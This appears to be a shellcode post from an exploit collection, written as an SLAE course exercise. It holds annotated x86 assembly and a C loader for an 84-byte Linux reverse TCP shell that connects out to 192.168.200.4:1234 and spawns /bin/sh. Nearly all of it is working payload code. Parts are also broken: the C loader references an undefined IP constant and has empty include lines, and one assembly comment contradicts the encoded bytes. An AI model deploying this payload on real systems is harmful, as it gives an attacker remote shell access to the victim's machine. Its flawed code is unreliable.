# Title: Linux/x86 - Reverse TCP Shellcode ( 84 bytes ) # Author: Xenofon Vassilakopoulos # Date: 2020-08-23 # Tested on: Linux 3.13.0-32-generic #57~precise1-Ubuntu i686 i386 GNU/Linux # Architecture: i686 GNU/Linux # Shellcode Length: 84 bytes # SLAE-ID: SLAE - 1314 --------------------- Reverse Shellcode --------------------- global _start section .text _start: xor eax, eax ;zero out eax register mul edx ;zero out edx register ;;sockfd = socket(AF_INET,SOCK_STREAM,0); push edx ; push 0 on the stack which is related with the third argument of the socket system call mov ebx, edx ; zero out ebx inc ebx ; define the SYS_SOCKET value to be 0x1. push ebx ; SOCK_STREAM constant at type argument push 0x2 ; AF_INET constant at domain argument mov ecx, esp ; ECX will point to args at the top of the stack mov al, 0x66 ; call SocketCall() int 0x80 ; call system call interrupt to execute the arguments mov edi, eax ; EAX will store the return value of the socket descriptor to edi register ;; sa.sin_family = AF_INET; ;; sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); ;; sa.sin_port = htons(REMOTE_PORT); ;; connect(sockfd, (struct sockaddr *)&sa, sizeof(sa)); pop ebx ; assign ebx with value (2) push 0x04c8a8c0 ; push IP 192.168.200.4 on the stack push word 0xd204 ; push port 1234 on the stack push bx ; push AF_INET constant into the 16 bytes register avoiding nulls mov ecx, esp ; perform stack alignment - ecx points to struct push 0x10 ; the size of the port push ecx ; pointer to host_addr struct push edi ; save socket descriptor sockfd to struct mov ecx, esp ; perform stack alignment - ecx points at struct inc ebx ; use the connect system call (3) mov al, 0x66 ; call the socketcall system call int 0x80 ; call interrupt ;;dup2(sockfd, 2); ;;dup2(sockfd, 1); ;;dup2(sockfd, 0); mov ebx, esi ; move sockfd descriptor to ebx xor ecx, ecx ; zero out the ecx register before using it lo: mov al, 0x3f ; the functional number that indicates dup2 (63 in dec) int 0x80 ; call dup2 syscall inc ecx ; increase the value of ecx by 1 so it will take all values 0(stdin), 1(stdout), 2(stderr) cmp cl, 0x2 ; compare ecx with 2 which indicates the stderr descriptor jle lo ; loop until counter is less or equal to 2 ;; execve("/bin/sh", 0, 0); xor eax, eax ; zero out the eax register push eax ; push NULL into the stack push 0x68732f2f ; push "hs//" in reverse order into stack push 0x6e69622f ; push "nib/" in reverse order into stack mov ebx, esp ; point ebx into stack push eax ; push NULL into the stack mov edx, esp ; point to edx into stack push ebx ; push ebx into stack mov ecx, esp ; point to ecx into stack mov al, 0xb ; 0xb indicates the execve syscall int 0x80 ; execute execve syscall --------------------- Shellcode --------------------- #include #include #include #include #include #include #include #define PORT 27 #define REMOTE_ADDRESS 21 int main(int argc, char *argv[]) { unsigned char shellcode[] = \ "\x31\xc0\xf7\xe2\x52\x89" "\xd3\x43\x53\x6a\x02\x89" "\xe1\xb0\x66\xcd\x80\x89" "\xc7\x5b\x68" "\xc0\xa8\xc8\x04" // IP "\x66\x68" "\x04\xd2" // PORT "\x66\x53\x89\xe1\x6a\x10" "\x51\x57\x89\xe1\x43\xb0" "\x66\xcd\x80\x89\xfb\x31" "\xc9\xb0\x3f\xcd\x80\x41" "\x66\x83\xf9\x02\x7e\xf5" "\x31\xc0\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x89\xe2" "\x53\x89\xe1\xb0\x0b\xcd" "\x80"; // provide binary form of the IP into the shellcode in order to be able to connect to that specific IP address unsigned ipaddress = inet_addr(argv[1]); // copy the IP in the right shellcode offset 21 bytes from the beginning of the shellcode memcpy(&shellcode[IP], &ipaddress, 4); // provide binary form of the port into the shellcode in order to be able to connect to that specific port unsigned int port = htons(atoi(argv[2])); // copy the new port in the right shellcode offset 27 bytes from the beginning of the shellcode memcpy(&shellcode[PORT], &port, 2); printf("Shellcode Length: %d\n", strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); }